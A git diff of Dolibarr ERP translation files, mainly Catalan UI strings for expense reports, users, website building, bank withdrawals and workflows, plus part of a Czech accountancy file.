despeses. Aquestes regles s'aplicaran quan s'afegeixi una nova despesa a un informe de despeses -expenseReportOffset=Decàleg -expenseReportCoef=Coeficient -expenseReportTotalForFive=Exemple amb d = 5 -expenseReportRangeFromTo=de %d a %d -expenseReportRangeMoreThan=més de %d -expenseReportCoefUndefined=(valor no definit) -expenseReportCatDisabled=Categoria deshabilitada: consulteu el diccionari c_exp_tax_cat -expenseReportRangeDisabled=S'ha desactivat el rang: consulteu el diccionari c_exp_tax_range -expenseReportPrintExample=offset + (d x coef) = %s -ExpenseReportApplyTo=Aplicar a -ExpenseReportDomain=Domini a aplicar -ExpenseReportLimitOn=Limitar a -ExpenseReportDateStart=Data inici -ExpenseReportDateEnd=Data fi -ExpenseReportLimitAmount=Import màxim -ExpenseReportRestrictive=Superació prohibida -AllExpenseReport=Tots els tipus d’informe de despeses -OnExpense=Línia de despesa -ExpenseReportRuleSave=S'ha desat la regla de l'informe de despeses -ExpenseReportRuleErrorOnSave=Error: %s -RangeNum=Rang %d -ExpenseReportConstraintViolationError=S'ha superat la quantitat màxima (regla %s): %s és superior a %s (excedit prohibit) -byEX_DAY=per dia (limitació a %s) -byEX_MON=per mes (limitació a %s) -byEX_YEA=per any (limitació a %s) -byEX_EXP=per línia (limitació a %s) -ExpenseReportConstraintViolationWarning=S'ha superat l'import màxim (regla %s): %s és superior a %s (supera l'autoritzat) -nolimitbyEX_DAY=per dia (sense límits) -nolimitbyEX_MON=per mes (sense límits) -nolimitbyEX_YEA=per any (sense límits) -nolimitbyEX_EXP=per línia (sense límits) -CarCategory=Categoria de vehicles -ExpenseRangeOffset=Quantitat d'offset: %s -RangeIk=Rang de quilometratge -AttachTheNewLineToTheDocument=Adjunta la línia a un document carregat + +## Dictionary +EX_BRE=Esmorzar +EX_CAM=CV de manteniment i reparació +EX_CAM_VP=PV de manteniment i reparació +EX_CAR=Lloguer de cotxes +EX_CUR=Clients que reben +EX_DOC=Documentació +EX_EMM=Dinar dels empleats +EX_FUE=CV de benzina +EX_FUE_VP=PV de benzina +EX_GUM=Menjar de convidats +EX_HOT=Hotel +EX_IND=Indemnització de subscripció de transport +EX_KME=Cost de quilometratge +EX_OTR=Altres que reben +EX_PAR=CV d'aparcament +EX_PAR_VP=PV d'aparcament +EX_POS=Franqueig +EX_SUM=Subministrament de manteniment +EX_SUO=Material d'oficina +EX_TAX=Impostos varis +EX_TOL=CV de peatge +EX_TOL_VP=PV de peatge +TF_BUS=Bus +TF_CAR=Cotxe +TF_ESSENCE=Combustible +TF_HOTEL=Hotel +TF_LUNCH=Dieta +TF_METRO=Metro +TF_OTHER=Altres +TF_PEAGE=Peatge +TF_TAXI=Taxi +TF_TRAIN=Tren +TF_TRIP=Transport diff --git a/htdocs/langs/ca_ES/users.lang b/htdocs/langs/ca_ES/users.lang index 0fbf167ffb5..000d3304565 100644 --- a/htdocs/langs/ca_ES/users.lang +++ b/htdocs/langs/ca_ES/users.lang @@ -47,7 +47,7 @@ RemoveFromGroup=Eliminar del grup PasswordChangedAndSentTo=Contrasenya canviada i enviada a %s. PasswordChangeRequest=Sol·licitud de canvi de contrasenya per %s PasswordChangeRequestSent=Petició de canvi de contrasenya per a %s enviada a %s. -IfLoginExistPasswordRequestSent=Si aquest inici de sessió és un compte vàlid, s'ha enviat un correu electrònic per a restablir la contrasenya. +IfLoginExistPasswordRequestSent=If this login is a valid account (with a valid email), an email to reset password has been sent. IfEmailExistPasswordRequestSent=Si aquest correu electrònic és un compte vàlid, s'ha enviat un correu electrònic per a restablir la contrasenya. ConfirmPasswordReset=Confirma la restauració de la contrasenya MenuUsersAndGroups=Usuaris i grups @@ -66,9 +66,9 @@ LinkedToDolibarrUser=Enllaç a l'usuari LinkedToDolibarrThirdParty=Enllaç a tercers CreateDolibarrLogin=Crear un compte d'usuari CreateDolibarrThirdParty=Crea un tercer -LoginAccountDisableInDolibarr=El compte està desactivat en Dolibarr +LoginAccountDisableInDolibarr=Compte desactivat a Dolibarr +PASSWORDInDolibarr=Contrasenya modificada a Dolibarr UsePersonalValue=Utilitzar valors personalitzats -InternalUser=Usuari intern ExportDataset_user_1=Usuaris i les seves propietats DomainUser=Usuari de domini Reactivate=Reactivar @@ -128,3 +128,7 @@ DateLastLogin=Data darrera sessió DatePreviousLogin=Data d'inici de sessió anterior IPLastLogin=IP darrer inici de sessió IPPreviousLogin=IP d'inici de sessió anterior +ShowAllPerms=Mostra totes les files de permís +HideAllPerms=Amaga totes les files de permís +UserPublicPageDesc=You can enable a virtual card for this user. An url with the user profile and a barcode will be available to allow anybody with a smartphone to scan it and add your contact to its address book. +EnablePublicVirtualCard=Habilita la fitxa d'usuari virtual pública diff --git a/htdocs/langs/ca_ES/website.lang b/htdocs/langs/ca_ES/website.lang index 0a7692af62e..0223233c8ae 100644 --- a/htdocs/langs/ca_ES/website.lang +++ b/htdocs/langs/ca_ES/website.lang @@ -1,11 +1,12 @@ # Dolibarr language file - Source file is en_US - website Shortname=Codi +WebsiteName=Nom del lloc web WebsiteSetupDesc=Creeu aquí els llocs web que voleu utilitzar. A continuació, vagi a menú de llocs web per editar-los. DeleteWebsite=Elimina la pàgina web ConfirmDeleteWebsite=Esteu segur que voleu suprimir aquest lloc web? També se suprimiran totes les seves pàgines i contingut. Els fitxers penjats (com al directori de suports, al mòdul ECM...) es mantindran. WEBSITE_TYPE_CONTAINER=Tipus de pàgina/contenidor WEBSITE_PAGE_EXAMPLE=Pàgina web per a utilitzar com a exemple -WEBSITE_PAGENAME=Nom/alies de pàgina +WEBSITE_PAGENAME=Nom/àlies de pàgina WEBSITE_ALIASALT=Noms de pàgina alternatius / àlies WEBSITE_ALIASALTDesc=Utilitzeu aquí la llista d'altres noms/àlies, per la qual cosa també es pot accedir a la pàgina amb altres noms/àlies (per exemple, el nom antic després de canviar el nom de l'àlies per a mantenir el vincle d'enllaç a l'antic vincle/nom de treball). La sintaxi és:
      nomalternatiu1, nomalternatiu2... WEBSITE_CSS_URL=URL del fitxer CSS extern @@ -15,13 +16,13 @@ WEBSITE_HTML_HEADER=Afegit a la part inferior de l'encapçalament HTML (comú a WEBSITE_ROBOT=Fitxer per robots (robots.txt) WEBSITE_HTACCESS=Fitxer .htaccess del lloc web WEBSITE_MANIFEST_JSON=Arxiu del lloc web manifest.json -WEBSITE_README=Fitxer README.md -WEBSITE_KEYWORDSDesc=Utilitza una coma per separar valors -EnterHereLicenseInformation=Introduïu aquí metadades o informació de llicència per a fer un fitxer README.md. si distribuïu el vostre lloc web com a plantilla, el fitxer s'inclourà al paquet. +WEBSITE_KEYWORDSDesc=Utilitzeu una coma per a separar els valors +EnterHereReadmeInformation=Introduïu aquí una descripció del lloc web. Si distribuïu el vostre lloc web com a plantilla, el fitxer s'inclourà al paquet de la plantilla. +EnterHereLicenseInformation=Introduïu aquí la LLICÈNCIA del codi de la web. Si distribuïu el vostre lloc web com a plantilla, el fitxer s'inclourà a la plantilla del paquet. HtmlHeaderPage=Encapçalament HTML (específic sols per aquesta pàgina) PageNameAliasHelp=Nom o àlies de la pàgina.
      Aquest àlies també s'utilitza per construir un URL de SEO quan el lloc web es llanci des d'un Host Virtual d'un servidor web (com Apache, Nginx...). Utilitzeu el botó "%s" per editar aquest àlies. -EditTheWebSiteForACommonHeader=Nota: si voleu definir un encapçalament personalitzat per a totes les pàgines, editeu el encapçalament al nivell del lloc en comptes de la pàgina/contenidor. -MediaFiles=Llibreria Media +EditTheWebSiteForACommonHeader=Nota: si voleu definir una capçalera personalitzada per a totes les pàgines, editeu la capçalera al nivell del lloc en lloc de la pàgina/contenidor. +MediaFiles=Mediateca EditCss=Editar propietats EditMenu=Edita menú EditMedias=Editar multimèdia @@ -32,7 +33,7 @@ Webpage=Pàgina/contenidor web AddPage=Afegeix pàgina/contenidor PageContainer=Pàgina PreviewOfSiteNotYetAvailable=La previsualització del vostre lloc web %s encara no està disponible. Primer heu de " importar una plantilla de lloc web completa " o simplement " Afegir una pàgina / contenidor ". -RequestedPageHasNoContentYet=La pàgina sol·licitada amb l'identificador %s encara no té contingut, o el fitxer de memòria cau .tpl.php s'ha eliminat. Edita el contingut de la pàgina per solucionar-ho. +RequestedPageHasNoContentYet=La pàgina sol·licitada amb l'identificador %s encara no té contingut o el fitxer de memòria cau .tpl.php s'ha eliminat. Editeu el contingut de la pàgina per a solucionar-ho. SiteDeleted=Lloc web '%s' eliminat PageContent=Pàgina/Contenidor PageDeleted=Pàgina/Contenidor '%s' del lloc web %s eliminat @@ -42,8 +43,10 @@ ViewPageInNewTab=Mostra la pàgina en una pestanya nova SetAsHomePage=Indica com a Pàgina principal RealURL=URL real ViewWebsiteInProduction=Mostra la pàgina web utilitzant les URLs d'inici -SetHereVirtualHost=Utilitzeu amb Apache/NGinx/...
      Creeu al vostre servidor web (Apache, Nginx...) un Virtual Host dedicat amb PHP habilitat i un directori arrel a
      %s -ExampleToUseInApacheVirtualHostConfig=Exemple a utilitzar en la configuració de d'un Virtual Host d'Apache: +Virtualhost=Host virtual o nom de domini +VirtualhostDesc=El nom de l'amfitrió o domini virtual (per exemple: www.mywebsite.com, mybigcompany.net, ...) +SetHereVirtualHost=Utilitzeu-lo amb Apache/NGinx/...
      Creeu al vostre servidor web (Apache, Nginx, ...) un host virtual dedicat amb PHP habilitat i un directori arrel a
      %s +ExampleToUseInApacheVirtualHostConfig=Exemple per a utilitzar a la configuració de l'amfitrió virtual d'Apache: YouCanAlsoTestWithPHPS= Utilitzeu-lo amb el servidor incrustat de PHP
      En desenvolupar l'entorn, és possible que preferiu provar el lloc amb el servidor web incrustat de PHP (requereix PHP 5.5) executant
      php -S 0.0. 0.0: 8080 -t %s YouCanAlsoDeployToAnotherWHP= Executeu el vostre lloc web amb un altre proveïdor d'allotjament Dolibarr
      Si no teniu un servidor web com Apache o NGinx disponible a Internet, podeu exportar i importar el vostre lloc web a una altra instància d'allotjament Dolibarr proporcionada per una altra instància d'allotjament Dolibarr proporcionada per un altre servidor Dolibar complet. integració amb el mòdul del lloc web. Podeu trobar una llista d'alguns proveïdors d'allotjament de Dolibarr a https://saas.dolibarr.org CheckVirtualHostPerms=Comproveu també que l'usuari del VIRTUAL HOST (per exemple www-data) té permisos %s sobre els fitxers a
      %s @@ -51,13 +54,13 @@ ReadPerm=Llegit WritePerm=Escriu TestDeployOnWeb=Prova / implantació a la web PreviewSiteServedByWebServer=
    1. Vista prèvia %s en una nova pestanya.


    2. El %s serà servit per un servidor web extern (com ara Apache, Nginx, IIS). Heu d'instal·lar i configurar aquest servidor abans d'apuntar al directori:
      %s
      URL servit per un servidor extern:
      %s
      -PreviewSiteServedByDolibarr= Previsualitza %s en una nova pestanya.

      El %s serà servit pel servidor Dolibarr així que no cal instal·lar cap servidor web addicional (com ara Apache, Nginx, IIS).
      L'inconvenient és que l'URL de les pàgines no són amigables i comencen per la ruta del vostre Dolibarr.
      URL servit per Dolibarr:
      %s

      Per a utilitzar el vostre propi servidor web extern per a servir aquest lloc web, creeu un VIRTUALHOST al vostre servidor web que apunti al directori
      %s
      , llavors introduïu el nom d'aquest servidor virtual i feu clic a l'enllaç "Provar/Desplegar a la web". +PreviewSiteServedByDolibarr=Previsualitza %s en una pestanya nova.

      El %s serà servit pel servidor Dolibarr, de manera que no cal instal·lar cap servidor web addicional (com Apache, Nginx, IIS).
      L'inconvenient és que els URL de les pàgines no són fàcils d'utilitzar i comencen pel camí del vostre Dolibarr.
      URL servit per Dolibarr:
      %s

      Per a utilitzar el vostre propi servidor web extern per a servir aquest lloc web, creeu un VIRTUALHOST al vostre servidor web que apunti al directori
      %s
      , llavors introduïu el nom d'aquest servidor virtual i feu clic a l'enllaç «Prova/Desplega a la web». VirtualHostUrlNotDefined=No s'ha definit l'URL de l'amfitrió virtual servit per un servidor web extern NoPageYet=Encara sense pàgines YouCanCreatePageOrImportTemplate=Podeu crear una pàgina nova o importar una plantilla completa del lloc web SyntaxHelp=Ajuda sobre consells de sintaxi específics YouCanEditHtmlSourceckeditor=Podeu editar el codi font HTML usant el botó "Codi font" a l'editor. -YouCanEditHtmlSource=
      Podeu incloure el codi PHP en aquesta font mitjançant les etiquetes <?php ?>. Estan disponibles les variables globals següents: $conf, $db, $mysoc, $user, $website, $websitepage, $weblangs, $pagelangs.

      També podeu incloure contingut d'una altra pàgina/contenidor amb la següent sintaxi:
      <?php includeContainer('alias_of_container_to_include'); ?>

      Podeu fer una redirecció a una altra pàgina/contenidor amb la següent sintaxi (Nota: no emeten cap contingut abans d'una redirecció) :?
      < php redirectToContainer ( 'alias_of_container_to_redirect_to'); ? >

      Per a afegir un vincle a una altra pàgina, utilitzeu la sintaxi:
      <a href = "alias_of_page_to_link_to.php" >mylink<a>

      Per a incloure un enllaç per a descàrrega un arxiu emmagatzemat en els documents un directori , utilitzeu el document document.php embolcall:
      Exemple, per a un fitxer a documents / ecm (cal registrar-se)? ] nom de fitxer.ext ">
      Per a un fitxer a documents / suports (directori obert per a accés públic), la sintaxi és:
      a03900dfre31ecz "/document.php?modulepart=medias&file=[relative_dir/ Alanfilename.ext">
      Per a un fitxer compartit amb un enllaç compartit (accés obert mitjançant la tecla hash compartida del fitxer), una sintaxis es0a0z0z0a009 /document.php?hashp=publicsharekeyoffile">


      per a incloure un imatge emmagatzemat en els documents directori, utilitzeu el viewimage.php embolcall:
      exemple, per a una imatge en documents / arxius multimèdia (obert directori d’accés públic), la sintaxi és:
      <img src = "/ viewimage.php? modulepart = medias&file = [relative_dir /] filename.ext" a0129 +YouCanEditHtmlSource=
      Podeu incloure codi PHP en aquesta font utilitzant les etiquetes <?php ?>. Les variables globals següents estan disponibles: $conf, $db, $mysoc, $user, $website, $websitepage, $weblangs, $pagelangs.

      També podeu incloure el contingut d'una altra pàgina/contenidor amb la sintaxi següent:
      <?php includeContainer('alias_of_container_to_include'); ?>

      Podeu fer una redirecció a una altra pàgina/contenidor amb la següent sintaxi (Nota: no emeten cap contingut abans d'una redirecció):
      <?php redirectToContainer('alias_of_container_to_redirect_to'); ?>

      Per a afegir un vincle a una altra pàgina, utilitzeu la sintaxi:
      <a href="alias_of_page_to_link_to.php">mylink<a>

      Per a incloure un enllaç per a descàrrega un arxiu emmagatzemat en el directori documents utilitza el visor document.php:
      Exemple, per a un fitxer a documents/ecm (cal registrar-se), la sintaxi és:
      <a href="/document.php?modulepart=ecm&file=[relative_dir/]filename.ext">
      Per a un fitxer a documents/mitjans (directori obert per a l'accés públic), la sintaxi és:
      <a href="/document.php?modulepart=medias&file=[relative_dir/]filename.ext">
      Per a un fitxer compartit amb un enllaç de compartició (accés obert utilitzant una clau de fitxer compartit), la sintaxi és:
      <a href=" /document.php?hashp=publicsharekeyoffile">

      Per a incloure una imatge emmagatzemada en el directori documents, utilitza el visor viewimage.php :
      Exemple, per a una imatge a documents/medias (directori obert d'accés públic), la sintaxi és:
      <img src="/viewimage.php?modulepart=medias&file=[relative_dir/]filename.ext">
      #YouCanEditHtmlSource2=
      To include a image shared publicaly, use the viewimage.php wrapper:
      Example with a shared key 123456789, syntax is:
      <img src="/viewimage.php?hashp=12345679012...">
      YouCanEditHtmlSource2=Per a una imatge compartida amb un enllaç compartit (accés obert mitjançant la tecla hash compartida del fitxer), la sintaxi és:
      <img src = "/ viewimage.php? Hashp = 12345679012 ..." a0012c7dcbe087987 YouCanEditHtmlSourceMore=
      Més exemples d'HTML o codi dinàmic disponibles a la documentació wiki
      . @@ -76,7 +79,7 @@ ExportSite=Exporta la web ImportSite=Importa la plantilla del lloc web IDOfPage=Id de la pàgina Banner=Bàner -BlogPost=Publicació del bloc +BlogPost=Entrada al blog WebsiteAccount=Compte del lloc web WebsiteAccounts=Comptes de lloc web AddWebsiteAccount=Crear un compte de lloc web @@ -97,7 +100,7 @@ SubdirOfPage=Subdirectori dedicat a la pàgina AliasPageAlreadyExists=Alias de pàgina %s ja existeixen CorporateHomePage=Pàgina d'inici corporativa EmptyPage=Pàgina buida -ExternalURLMustStartWithHttp=L'URL externa ha de començar amb http:// o https:// +ExternalURLMustStartWithHttp=L'URL extern ha de començar per http:// o https:// ZipOfWebsitePackageToImport=Carregueu el fitxer Zip del paquet de plantilles del lloc web ZipOfWebsitePackageToLoad=o trieu un paquet de plantilles de lloc web incrustat disponible ShowSubcontainers=Mostra contingut dinàmic @@ -132,12 +135,12 @@ PublicAuthorAlias=Àlies d’autor públic AvailableLanguagesAreDefinedIntoWebsiteProperties=Els idiomes disponibles es defineixen a les propietats del lloc web ReplacementDoneInXPages=Substitució realitzada %s pàgines o contenidors RSSFeed=Fils RSS -RSSFeedDesc=Podeu obtenir un feed RSS dels darrers articles amb el tipus "blogpost" mitjançant aquesta URL +RSSFeedDesc=Podeu obtenir un feed RSS dels últims articles amb el tipus «entrada de blog» mitjançant aquest URL PagesRegenerated=%s pàgina (es) / contenidor (s) regenerada RegenerateWebsiteContent=Regenera els fitxers de memòria cau del lloc web AllowedInFrames=Es permet en marcs DefineListOfAltLanguagesInWebsiteProperties=Definiu la llista de tots els idiomes disponibles a les propietats del lloc web. -GenerateSitemaps=Genera un fitxer de mapa del lloc del lloc web +GenerateSitemaps=Genereu el fitxer sitemap.xml del lloc web ConfirmGenerateSitemaps=Si ho confirmeu, suprimireu el fitxer de mapa del lloc existent... ConfirmSitemapsCreation=Confirmeu la generació del mapa del lloc SitemapGenerated=Fitxer del mapa del lloc %s generat @@ -145,3 +148,12 @@ ImportFavicon=Favicon ErrorFaviconType=Favicon ha de ser png ErrorFaviconSize=El favicon ha de tenir una mida de 16x16, 32x32 o 64x64 FaviconTooltip=Pengeu una imatge que ha de ser PNG (16x16, 32x32 o 64x64) +NextContainer=Pàgina/Contenidor següent +PreviousContainer=Pàgina/Contenidor anterior +WebsiteMustBeDisabled=El lloc web ha de tenir l'estat «%s» +WebpageMustBeDisabled=La pàgina web ha de tenir l'estat «%s» +SetWebsiteOnlineBefore=Quan el lloc web està fora de línia, totes les pàgines estan fora de línia. Primer canvieu l'estat del lloc web. +Booking=Reserva +Reservation=Reserva +PagesViewedPreviousMonth=Pàgines vistes (mes anterior) +PagesViewedTotal=Pàgines vistes (total) diff --git a/htdocs/langs/ca_ES/withdrawals.lang b/htdocs/langs/ca_ES/withdrawals.lang index 9a6743cfa97..371437d9ae1 100644 --- a/htdocs/langs/ca_ES/withdrawals.lang +++ b/htdocs/langs/ca_ES/withdrawals.lang @@ -12,7 +12,7 @@ WithdrawalsReceipts=Domiciliacions WithdrawalReceipt=Domiciliació BankTransferReceipts=Ordres de transferència bancària BankTransferReceipt=Ordre de transferència bancària -LatestBankTransferReceipts=Les %s últimes ordres de transferència bancària +LatestBankTransferReceipts=Últimes %s ordres de transferència bancària LastWithdrawalReceipts=Últims %s fitxers per a la domiciliació bancària WithdrawalsLine=Línia d'ordre de domiciliació CreditTransfer=Transferència bancària @@ -33,7 +33,7 @@ InvoiceWaitingPaymentByBankTransfer=Factura en espera de transferència bancàri AmountToWithdraw=Import a domiciliar AmountToTransfer=Import a transferir NoInvoiceToWithdraw=No hi ha cap factura oberta per a '%s'. Aneu a la pestanya "%s" de la fitxa de factura per a fer una sol·licitud. -NoSupplierInvoiceToWithdraw=No hi ha cap factura de proveïdor pendent amb "sol·licituds de crèdit directe" obertes. Aneu a la pestanya "%s" de la fitxa de la factura per a fer una sol·licitud. +NoSupplierInvoiceToWithdraw=No s'està esperant cap factura del proveïdor amb «%s» obert. Aneu a la pestanya «%s» de la fitxa de factura per a fer una sol·licitud. ResponsibleUser=Usuari responsable WithdrawalsSetup=Configuració del pagament mitjançant domiciliació bancària CreditTransferSetup=Configuració de transferència bancària @@ -42,15 +42,16 @@ CreditTransferStatistics=Estadístiques de transferència bancària Rejects=Devolucions LastWithdrawalReceipt=Últims %s rebuts domiciliats MakeWithdrawRequest=Fes una sol·licitud de domiciliació +MakeWithdrawRequestStripe=Feu una sol·licitud de pagament per domiciliació bancària mitjançant Stripe MakeBankTransferOrder=Fes una sol·licitud de transferència WithdrawRequestsDone=%s domiciliacions registrades BankTransferRequestsDone=S'han registrat %s sol·licituds de transferència ThirdPartyBankCode=Codi bancari de tercers NoInvoiceCouldBeWithdrawed=Cap factura s'ha carregat amb èxit. Comproveu que els tercers de les factures tenen un IBAN vàlid i que IBAN té un RUM (Referència de mandat exclusiva) amb mode %s. WithdrawalCantBeCreditedTwice=Aquesta domiciliació ja està marcada com a cobrada; això no es pot fer dues vegades, ja que això podria generar duplicats de pagaments i entrades bancàries. -ClassCredited=Classifica com "Abonada" -ClassDebited=Classifica els domiciliats -ClassCreditedConfirm=Esteu segur de voler classificar aquesta domiciliació com abonada al seu compte bancari? +ClassCredited=Marca abonada +ClassDebited=Marca els domiciliats +ClassCreditedConfirm=Esteu segur que voleu marcar aquesta domiciliació com a abonada al vostre compte bancari? TransData=Data enviament TransMetod=Mètode enviament Send=Envia @@ -100,12 +101,15 @@ CreditDate=Abonada el WithdrawalFileNotCapable=No es pot generar el fitxer de rebut de domiciliació del vostre país %s (El vostre país no és compatible) ShowWithdraw=Mostra l'ordre de domiciliació IfInvoiceNeedOnWithdrawPaymentWontBeClosed=Tot i això, si la factura té com a mínim una ordre de pagament per domiciliació bancària encara no processada, no s’establirà com a pagament per a permetre la gestió prèvia de la retirada. -DoStandingOrdersBeforePayments=Aquesta pestanya us permet sol·licitar una ordre de pagament per domiciliació bancària. Un cop fet això, aneu al menú Banc-> Pagament mitjançant domiciliació bancària per a generar i gestionar l’ordre de domiciliació bancària. Quan es tanca la comanda de domiciliació bancària, el pagament de les factures es registrarà automàticament i es tancaran les factures si la resta de pagament és nul·la. -DoCreditTransferBeforePayments=Aquesta pestanya us permet sol·licitar una ordre de transferència bancària. Un cop feta, aneu al menú Banc->Pagament per transferència bancària per a generar i gestionar l'ordre de transferència bancària. Quan es tanca l'ordre de transferència bancària, el pagament de les factures es registrarà automàticament i es tancaran les factures si no queda cap pagament pendent. +DoStandingOrdersBeforePayments=Aquesta pestanya permet sol·licitar una ordre de pagament per domiciliació bancària. Un cop fet, podeu entrar al menú "Banc->Pagament per domiciliació bancària" per a generar i gestionar un fitxer de domiciliació bancària. +DoStandingOrdersBeforePayments2=També podeu enviar una sol·licitud directament a un processador de pagaments SEPA com Stripe, ... +DoStandingOrdersBeforePayments3=Quan es tanqui l'ordre de domiciliació bancària, el pagament de les factures es registrarà automàticament i les factures es tanquen si la resta per a pagar és nul·la. +DoCreditTransferBeforePayments=Aquesta pestanya us permet sol·licitar una ordre de transferència de crèdit. Un cop fet, aneu al menú "Banc->Pagament per transferència de crèdit" per a generar i gestionar un fitxer d'ordre de transferència de crèdit. +DoCreditTransferBeforePayments3=Quan es tanqui l'ordre de transferència de crèdit, el pagament de les factures es registrarà automàticament i les factures es tanquen si la resta per a pagar és nul·la. WithdrawalFile=Fitxer de comanda de dèbit CreditTransferFile=Fitxer de transferència de crèdit SetToStatusSent=Estableix l'estat "Fitxer enviat" -ThisWillAlsoAddPaymentOnInvoice=També registrarà els pagaments en les factures i els classificarà com a "Pagats" si resten a pagar és nul +ThisWillAlsoAddPaymentOnInvoice=Això també registrarà els pagaments a les factures i els classificarà com a "Pagats" si la resta a pagar és nul·la. StatisticsByLineStatus=Estadístiques per estats de línies RUM=UMR DateRUM=Data de signatura del mandat @@ -118,7 +122,7 @@ WithdrawRequestErrorNilAmount=No és possible crear una domiciliació sense impo SepaMandate=Mandat de domiciliació bancària SEPA SepaMandateShort=Mandat SEPA PleaseReturnMandate=Si us plau, envieu aquest formulari de mandat per correu electrònic a %s o per correu postal a -SEPALegalText=En signar aquest formulari de mandat, autoritzeu (A) %s a enviar instruccions al vostre banc per carregar el vostre compte i (B) al vostre banc a domiciliar el vostre compte d'acord amb les instruccions de %s. Com a part dels vostres drets, teniu dret a un reemborsament del vostre banc segons els termes i condicions del vostre acord amb el vostre banc. Els vostres drets respecte al mandat anterior s'expliquen en un comunicat que podeu obtenir al vostre banc. +SEPALegalText=En signar aquest formulari de mandat, autoritzeu (A) a %s i al seu proveïdor de serveis de pagament a enviar instruccions al vostre banc per a carregar el vostre compte i (B) al vostre banc a domiciliar el vostre compte d'acord amb les instruccions d'%s. Com a part dels vostres drets, teniu dret a un reemborsament del vostre banc segons els termes i condicions del vostre acord amb el vostre banc. Els vostres drets respecte al mandat anterior s'expliquen en un comunicat que podeu obtenir al vostre banc. CreditorIdentifier=Identificador del creditor CreditorName=Nom del creditor SEPAFillForm=(B) Si us plau completa tots els camps marcats amb * diff --git a/htdocs/langs/ca_ES/workflow.lang b/htdocs/langs/ca_ES/workflow.lang index 1b8a1353a66..fb65a49a9f3 100644 --- a/htdocs/langs/ca_ES/workflow.lang +++ b/htdocs/langs/ca_ES/workflow.lang @@ -19,10 +19,10 @@ descWORKFLOW_ORDER_CLASSIFY_SHIPPED_SHIPPING_CLOSED=Classifiqueu la comanda de v descWORKFLOW_ORDER_CLASSIFY_BILLED_SUPPLIER_PROPOSAL=Classifica el pressupost de proveïdor vinculat com facturat quan la factura de proveïdor és validada (i si l'import de la factura és igual a l'import total del pressupost vinculat) # Autoclassify purchase order descWORKFLOW_INVOICE_AMOUNT_CLASSIFY_BILLED_SUPPLIER_ORDER=Classifica la comanda de proveïdor vinculada com facturada quan la factura de proveïdor és validada (i si l'import de la factura és igual a l'import total de la comanda vinculada) -descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION=Classifica l'ordre de compra d'origen enllaçat com a rebut quan es valida una recepció (i si la quantitat rebuda per totes les recepcions és la mateixa que a l'ordre de compra per actualitzar) -descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION_CLOSED=Classifica l'ordre de compra d'origen enllaçat com a rebut quan es tanca una recepció (i si la quantitat rebuda per totes les recepcions és la mateixa que a l'ordre de compra per actualitzar) +descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION=Classifica com a rebuda l'ordre de compra d'origen enllaçada quan es valida una recepció (i si la quantitat rebuda per totes les recepcions és la mateixa que a l'ordre de compra per a actualitzar) +descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION_CLOSED=Classifica com a rebuda l'ordre de compra d'origen enllaçada quan es tanca una recepció (i si la quantitat rebuda per totes les recepcions és la mateixa que a l'ordre de compra per a actualitzar) # Autoclassify purchase invoice -descWORKFLOW_BILL_ON_RECEPTION=Classifica les recepcions com a "facturades" quan es valida una comanda de proveïdor enllaçada +descWORKFLOW_EXPEDITION_CLASSIFY_CLOSED_INVOICE=Classify receptions to "billed" when a linked purchase invoice is validated (and if the amount of the invoice is the same as the total amount of the linked receptions) # Automatically link ticket to contract descWORKFLOW_TICKET_LINK_CONTRACT=Quan creeu un bitllet, enllaceu els contractes disponibles del tercer coincident descWORKFLOW_TICKET_USE_PARENT_COMPANY_CONTRACTS=En enllaçar contractes, cerqueu entre els de les empreses matrius @@ -31,6 +31,6 @@ descWORKFLOW_TICKET_CLOSE_INTERVENTION=Tanca totes les intervencions vinculades AutomaticCreation=Creació automàtica AutomaticClassification=Classificació automàtica # Autoclassify shipment -descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Classifica com a tancat l'enviament d'origen enllaçat quan es validi la factura del client +descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Classify linked source shipment as closed when customer invoice is validated (and if the amount of the invoice is the same as the total amount of the linked shipments) AutomaticClosing=Tancament automàtic AutomaticLinking=Enllaç automàtic diff --git a/htdocs/langs/ca_ES/zapier.lang b/htdocs/langs/ca_ES/zapier.lang index 65d851a78bd..3ddf2a27546 100644 --- a/htdocs/langs/ca_ES/zapier.lang +++ b/htdocs/langs/ca_ES/zapier.lang @@ -18,4 +18,4 @@ ModuleZapierForDolibarrDesc = Mòdul Zapier per a Dolibarr ZapierForDolibarrSetup=Configuració de Zapier per a Dolibarr ZapierDescription=Interfície amb Zapier ZapierAbout=Quant al mòdul Zapier -ZapierSetupPage=No cal una configuració de Dolibarr per a utilitzar Zapier. Tanmateix, heu de generar i publicar un paquet a zapier per a poder utilitzar Zapier amb Dolibarr. Vegeu la documentació sobre aquesta pàgina wiki . +ZapierSetupPage=No cal una configuració de Dolibarr per a utilitzar Zapier. Tanmateix, heu de generar i publicar un paquet a zapier per a poder utilitzar Zapier amb Dolibarr. Vegeu la documentació sobre aquesta pàgina wiki. diff --git a/htdocs/langs/cs_CZ/accountancy.lang b/htdocs/langs/cs_CZ/accountancy.lang index 9017f3151eb..15d52b75959 100644 --- a/htdocs/langs/cs_CZ/accountancy.lang +++ b/htdocs/langs/cs_CZ/accountancy.lang @@ -14,8 +14,8 @@ ACCOUNTING_EXPORT_ENDLINE=Zvolte typ návratu vozíku ACCOUNTING_EXPORT_PREFIX_SPEC=Určete předponu pro název souboru ThisService=Tato služba ThisProduct=Tento výrobek -DefaultForService=Výchozí nastavení pro službu -DefaultForProduct=Výchozí produkt +DefaultForService=Default for services +DefaultForProduct=Default for products ProductForThisThirdparty=Produkty pro tento subjekt ServiceForThisThirdparty=Služby pro tento subjekt CantSuggest=Nelze navrhnout @@ -48,8 +48,9 @@ CountriesNotInEEC=Země, které nejsou v EHS CountriesInEECExceptMe=Země v EHS kromě %s CountriesExceptMe=Všechny země kromě %s AccountantFiles=Export source documents -ExportAccountingSourceDocHelp=With this tool, you can export the source events (list in CSV and PDFs) that are used to generate your accountancy. +ExportAccountingSourceDocHelp=With this tool, you can search and export the source events that are used to generate your accountancy.
